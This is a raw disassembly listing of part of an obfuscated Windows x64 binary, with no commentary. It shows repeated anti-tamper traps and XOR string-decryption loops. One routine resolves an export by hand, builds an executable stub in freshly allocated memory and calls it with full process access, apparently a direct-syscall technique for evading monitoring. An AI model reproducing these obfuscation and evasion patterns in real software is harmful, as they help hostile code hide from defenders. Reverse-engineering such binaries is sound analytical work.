mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031837
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x1400318e1
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400318c1
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400318c1
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400318e1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x14003199c
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x29479d03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003197c
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003197c
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003199c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
call fcn.14009bae0
or dword [rbp + 0x7414], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x6090]
call fcn.14003dd90
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x140031a66
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031a46
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031a46
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031a66
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
mov r8d, 0x29479d03
cmp rax, rsi
jne 0x140031b25
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031b05
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031b05
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031b25
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x140031bde
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031bbe
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031bbe
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031bde
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x140031c88
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031c68
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031c68
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031c88
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x140031d41
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031d21
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031d21
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031d41
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov qword [rbp + 0xe58], r15
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x140031df2
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031dd2
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031dd2
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031df2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x140031eab
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031e8b
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031e8b
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031eab
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rdi, qword [rbp + 0x1098]
sub rdi, qword [rbp + 0x1090]
sar rdi, 3
lea rcx, [rbp + 0x6090]
call fcn.14003d328
mov eax, eax
xor edx, edx
div rdi
mov rbx, rdx
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x140031f7d
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140031f5d
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140031f5d
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140031f7d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov edi, r15d
mov rax, qword [rbp + 0x1098]
sub rax, qword [rbp + 0x1090]
sar rax, 3
test rax, rax
je 0x140032278
xor r14d, r14d
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x140032047
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x41c1d7e
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x29479d03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032330
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032330
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140032330
movsxd rax, ebx
mov rcx, qword [rbp + 0x1090]
mov rcx, qword [rcx + rax*8]
call fcn.14002d02c
mov r15d, eax
mov rcx, qword gs:[0x3a]
movabs r8, 0x8891115eabfcc5c6
cmp rcx, rsi
jne 0x1400320fd
mov rcx, qword gs:[0x19]
xor rcx, r8
mov qword [rbp + 0x1070], rcx
mov rcx, qword gs:[0x19]
xor rcx, r8
mov qword [rbp + 0x1078], rcx
mov rcx, qword gs:[0x19]
xor rcx, r8
mov qword [rbp + 0x1080], rcx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0x1070]
cmp rax, rcx
je 0x140032350
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0x1078]
cmp rax, rcx
je 0x140032350
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0x1080]
cmp rax, rcx
je 0x140032350
test r15d, r15d
jne 0x1400323b0
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x1400321a1
mov rax, qword gs:[0x19]
mov ecx, 0xccc29034
xor rax, rcx
mov qword [rbp + 0x1050], rax
mov rax, qword gs:[0x19]
xor rax, rcx
mov qword [rbp + 0x1058], rax
mov rax, qword gs:[0x19]
xor rax, rcx
mov qword [rbp + 0x1060], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0x1050]
cmp rax, rcx
je 0x140032370
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0x1058]
cmp rax, rcx
je 0x140032370
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0x1060]
cmp rax, rcx
je 0x140032370
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
lea eax, [rbx + 1]
cdqe
xor edx, edx
div rcx
mov ebx, edx
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x140032255
mov rax, qword gs:[0x19]
xor rax, r8
mov qword [rbp + 0xf60], rax
mov rax, qword gs:[0x19]
xor rax, r8
mov qword [rbp + 0xf68], rax
mov rax, qword gs:[0x19]
xor rax, r8
mov qword [rbp + 0xf70], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf60]
cmp rax, rcx
je 0x140032390
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf68]
cmp rax, rcx
je 0x140032390
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf70]
cmp rax, rcx
je 0x140032390
inc edi
mov rcx, qword [rbp + 0x1098]
sub rcx, qword [rbp + 0x1090]
sar rcx, 3
movsxd rax, edi
cmp rax, rcx
jb 0x140031f9e
xor r15d, r15d
mov rax, qword gs:[0x3a]
cmp rax, rsi
jne 0x14003c186
mov rax, qword gs:[0x19]
movabs rcx, 0x8891115eabfcc5c6
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032310
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032310
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003c186
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword [rbp + 0x1080]
mov rdx, qword [rbp + 0x1078]
xor rdx, rax
mov rcx, qword [rbp + 0x1070]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword [rbp + 0x1060]
mov rdx, qword [rbp + 0x1058]
xor rdx, rax
mov rcx, qword [rbp + 0x1050]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword [rbp + 0xf70]
mov rdx, qword [rbp + 0xf68]
xor rdx, rax
mov rcx, qword [rbp + 0xf60]
xor ecx, edx
call fcn.1400a2aa8
int3
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0xe88], gethostname
mov qword [rbp + 0xe90], r14
mov dword [rbp + 0xea0], r14d
mov qword [rbp + 0xe98], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xea8], xmm0
mov rax, r15
mov qword [rsp + 0x70], rax
mov qword [rbp + 0xe78], rax
mov qword [rbp + 0xe80], r14
mov dword [rbp + 0x210], 0xb39725c5
mov dword [rbp + 0x214], 0xa9a687b8
mov dword [rbp + 0x218], 0x58551a5c
mov word [rbp + 0x21c], gethostname
mov r8, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x1647a34f3
movabs r9, 0x121a34b064
mov r10d, reloc.WS2_32.dll_listen
movabs r11, 0x24346960c8
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x210], dil
inc r8
add r9, r13
add r10, 0xd
cmp r9, r11
jb 0x140032453
mov byte [rbp + 0x21d], r14b
mov dword [rbp + 0x80], 0x436409c5
mov dword [rbp + 0x84], 0xb3da6331
mov word [rbp + 0x88], 0x5f
mov r8, r14
movabs r9, 0xc884bdc94
mov r10d, 9
movabs r11, 0x191097b928
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0x80]
xor dil, r8b
mov byte [rbp + r8 + 0x80], dil
inc r8
add r9, r13
add r10, 9
cmp r9, r11
jb 0x1400324f1
mov byte [rbp + 0x89], r14b
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140032782
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140032782
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140032782
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140032782
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140032782
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x210]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400325f4
inc rax
test edi, edi
jne 0x1400325df
test r8d, r8d
je 0x140032606
inc rdx
cmp rdx, rsi
jb 0x1400325ce
jmp 0x140032782
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140032782
mov r14d, dword [rdx + 4]
xor edi, edi
test r14d, r14d
js 0x14003277f
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rdi + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
call fcn.14009bae0
or dword [rbp + 0x87a4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x7420]
call fcn.14003dd90
lea rcx, [rbp + 0x7420]
call fcn.14003d328
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
lea rcx, [rbp + 0x7420]
call fcn.14003d328
mov eax, eax
mov qword [rbp + rdi*8 + 0x406e0], rax
inc rdi
cmp rdi, 0x200
jl 0x140032694
mov r8d, 0x1000
lea rdx, [rbp + 0x406e0]
mov rcx, rbx
call fcn.1400c5560
mov dword [0x140115b84], r14d
lea rdi, [rsi + rbx]
movsd xmm0, qword [0x140115b80]
movsd qword [rdi], xmm0
movzx eax, word [0x140115b88]
mov word [rdi + 8], ax
mov al, byte [0x140115b8a]
mov byte [rdi + 0xa], al
xor r14d, r14d
mov dword [rbp + 0xfd8], r14d
lea r9, [rbp + 0xfd8]
mov esi, 0x1000
lea r8d, [r14 + 0x20]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0xe78]
lea r8, [rbp + 0xe88]
mov edx, 0x1fffff
lea rcx, [rbp + 0xe58]
call rdi
mov edi, eax
lea r9, [rbp + 0xfd8]
mov r8d, dword [rbp + 0xfd8]
mov edx, esi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call fcn.1400c5c00
lea edx, [r14 + 0xb]
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140115b84], r14d
test edi, edi
js 0x140032795
jmp 0x140032782
xor r14d, r14d
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx + 1]
test rax, 0xfffffffffffffffe
jne 0x1400327ab
mov qword [rbp + 0xe58], r14
mov ecx, r15d
call fcn.14002caf4
mov rcx, qword [rbp + 0xe58]
lea rax, [rcx - 1]
mov ebx, 0x9b8b3d39
cmp rax, 0xfffffffffffffffd
mov rax, qword gs:[0x3a]
ja 0x14003be03
cmp rax, rbx
jne 0x14003287a
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x41c1d7e
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x29479d03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003285a
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003285a
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003287a
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
movdqa xmm0, xmmword [0x1400fb2c0]
movdqu xmmword [rbp + 0xba0], xmm0
movdqa xmm1, xmmword [0x1400fb320]
movdqu xmmword [rbp + 0xbb0], xmm1
mov dword [rbp + 0xbc0], 0xec82e42c
mov word [rbp + 0xbc4], 0x231b
xor eax, eax
mov byte [rbp + 0xbc6], al
mov r8, r14
movabs rbx, 0x1647a34f3
movabs r9, 0x34ea23dc38
lea r10d, [rax + 0x26]
lea r15d, [rax + 1]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r8 + 0xba0]
xor dil, r8b
mov byte [rbp + r8 + 0xba0], dil
add r8, r15
add r9, r13
add r10, 0x26
movabs rax, 0x69d447b870
cmp r9, rax
jb 0x1400328de
mov byte [rbp + 0xbc6], r14b
lea rcx, [rbp + 0xba0]
call fcn.14001418c
mov rax, qword gs:[0x3a]
mov ebx, 0x9b8b3d39
mov esi, 0xccc29034
cmp rax, rbx
jne 0x140032a14
mov rax, qword gs:[0x19]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400329f4
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400329f4
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032a14
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a2aa8
int3
call fcn.14002cd54
mov rcx, qword gs:[0x3a]
test al, al
jne 0x140032dbf
cmp rcx, rbx
jne 0x140032ade
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x41c1d7e
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x29479d03
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032abe
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032abe
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032ade
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
movdqa xmm0, xmmword [0x1400fb0c0]
movdqu xmmword [rbp + 0x3e0], xmm0
mov word [rbp + 0x3f0], Ordinal_143
mov r10, r14
movabs r8, 0x17ac1d8434
mov r11, r12
movabs rsi, 0x8080808080808081
movabs r9, 0x2f583b0868
mov cl, r10b
and cl, 7
shl cl, 3
movabs rdi, 0x1647a34f3
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3e0], dil
add r10, r15
add r8, r13
add r11, r12
cmp r8, r9
jb 0x140032b1b
mov byte [rbp + 0x3f1], r14b
movdqa xmm0, xmmword [0x1400fb000]
movdqu xmmword [rbp + 0xaf8], xmm0
movdqa xmm1, xmmword [0x1400faf90]
movdqu xmmword [rbp + 0xb08], xmm1
mov r8, r14
mov esi, 0xccc29034
movabs rbx, 0x1647a34f3
mov r9d, Ordinal_35
movabs r10, 0x2b2acc698c
movabs r11, 0x8080808080808081
movabs r12, 0x565598d318
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xaf8], dil
add r8, r15
add r10, r13
add r9, 0x1f
cmp r10, r12
jb 0x140032bdb
mov byte [rbp + 0xb17], r14b
xor r9d, r9d
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xaf8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x3a]
mov ebx, 0x9b8b3d39
cmp rax, rbx
jne 0x140032d11
mov rax, qword gs:[0x19]
movabs rcx, 0x8891115eabfcc5c6
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032cf1
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032cf1
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032d11
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, rbx
jne 0x14003c77b
mov rax, qword gs:[0x19]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032d9f
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032d9f
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003c77b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
cmp rcx, rbx
jne 0x140032e60
mov rax, qword gs:[0x19]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140032e40
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140032e40
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140032e60
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
movdqa xmm0, xmmword [0x1400fb1c0]
movdqu xmmword [rbp + 0x248], xmm0
xor eax, eax
mov byte [rbp + 0x258], al
mov r8, r14
movabs rsi, 0x8080808080808081
movabs rbx, 0x1647a34f3
movabs r9, 0x1647a34f40
lea r10d, [rax + 0x10]
movabs r11, 0x2c8f469e80
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x248], dil
add r8, r15
add r9, r13
add r10, 0x10
cmp r9, r11
jb 0x140032ea7
mov byte [rbp + 0x258], r14b
lea rcx, [rbp + 0x248]
call fcn.14002cb44
